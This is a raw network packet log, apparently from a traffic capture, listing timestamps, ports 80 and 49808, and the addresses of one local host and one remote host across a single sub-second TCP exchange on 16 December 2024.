Dec 16, 2024 10:37:45.364233017 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.364244938 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.364306927 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.364306927 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.364306927 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.364427090 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.364439964 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.364449024 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.364470005 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.364485025 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.364737034 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.364737034 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.365174055 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.365195990 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.365209103 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.365221024 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.365233898 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.365246058 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.365257978 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.365271091 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.365283012 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.365297079 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.365299940 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.365299940 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.365299940 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.365300894 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.365452051 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.365452051 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.365849972 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.365873098 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.365896940 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.365909100 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.365921021 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.365932941 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.365974903 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.365974903 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.365974903 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.365995884 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.366008997 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.366019011 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.366031885 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.366048098 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.366060972 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.366075039 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.366096973 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.366096973 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.366096973 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.366247892 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.366805077 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.366817951 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.366830111 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.366852999 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.366854906 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.366863966 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.366877079 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.366888046 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.366935968 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.366935968 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.366935968 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.366935968 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.367238998 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.367252111 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.367295027 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.367372036 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.367383957 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.367779970 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.368113041 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.368241072 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.368573904 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.368575096 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.369086027 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.369180918 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.369199991 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.369673014 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.370158911 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.370255947 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.370304108 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.370304108 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.371063948 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.371150970 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.371352911 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.372057915 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.372160912 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.372206926 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.372206926 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.373040915 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.373167038 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.373198986 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.373284101 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.373992920 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.374145031 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.374229908 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.374229908 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.374995947 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.375066996 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.375124931 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.418031931 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.418051004 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.418191910 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.418287992 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.418416023 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.418510914 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.418510914 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.419445992 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.419529915 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.419557095 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.419604063 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.420504093 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.420553923 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.420663118 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.420663118 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.473454952 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.473474026 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.473488092 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.473572016 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.473572016 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.474423885 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.474526882 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.474555969 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.474725008 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.475358009 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.475393057 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.475421906 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.475609064 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.476427078 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.476461887 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.476496935 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.476681948 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.477596998 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.477612972 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.477808952 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.478276014 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.478346109 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.478352070 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.478431940 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.479368925 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.479383945 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.479538918 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.479538918 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.480299950 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.480314970 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.480365038 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.481138945 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.481197119 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.481276035 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.481403112 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.482144117 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.482228994 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.482235909 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.482300043 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.483181000 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.483196020 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.483263969 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.483263969 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.484116077 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.484280109 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.484318018 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.484397888 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.485043049 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.485151052 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.485244036 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.485301018 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.486099958 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.486180067 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.486197948 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.486257076 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.487042904 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.487185001 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.487188101 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.487253904 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.488009930 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.488106966 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.488131046 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.488195896 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.488972902 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.489068985 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.489118099 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.489118099 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.490037918 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.490087032 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.490103006 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.490139008 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.490971088 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.491049051 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.491051912 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.491148949 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.491947889 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.492026091 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.492034912 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.492103100 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.493030071 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.493087053 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.493166924 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.493247032 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.493973970 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.494055033 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.494091988 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.494198084 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.494868994 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.495137930 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.543102980 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.543152094 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.543191910 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.543226957 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.543246984 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.543278933 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.543318033 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.544137001 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.544193983 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.544286013 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.545036077 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.545818090 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.545886993 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.546103954 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.546143055 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.546180964 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.546231985 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.546982050 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.547178984 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.547288895 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.548326015 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.548362970 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.548497915 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.548497915 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.548976898 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.549068928 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.549132109 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.549199104 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.549892902 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.550024033 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.550075054 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.551161051 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.551242113 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.551307917 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.551393032 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.551841974 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.552140951 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.552205086 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.552284002 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.553281069 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.553317070 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.553366899 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.553366899 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.553880930 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.554090977 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.554266930 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.555027962 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.555063963 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.555099964 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.555200100 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.556121111 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.556157112 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.556190968 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.556243896 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.557442904 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.557478905 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.557590961 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.557740927 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.557826996 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.557888031 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.559113026 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.559148073 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.559185028 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.559194088 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.560671091 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.560705900 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.560741901 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.560786009 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.560786009 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.560786009 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.560870886 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.560967922 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.561779022 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.561815977 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.561851978 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.561872959 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.562757015 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.562793970 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.562906981 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.563632965 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.563730955 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.563766003 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.563828945 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.564909935 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.564975977 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.564990044 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.565059900 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.565629005 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.565685034 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.565722942 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.565777063 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.567411900 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.567446947 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.568424940 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.568454027 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.568486929 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.568548918 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.568548918 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.609813929 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.609834909 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.610779047 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.610791922 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.610829115 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.610829115 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.611680984 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.611694098 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.611783028 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.611783028 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.611783028 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.612797022 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.612809896 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.612863064 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.612863064 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.613763094 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.613775969 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.613804102 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.614178896 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.614897966 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.614912033 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.614926100 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.614944935 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.615988016 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.616000891 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.616014004 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.616066933 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.616066933 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.616066933 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.617841959 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.617856979 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.617871046 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.618026018 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.618026018 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.619182110 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.619195938 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.619209051 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.619266033 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.619266987 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:45.621076107 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.621088982 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:45.621103048 CET	80	49808	185.215.113.206	192.168.2.9
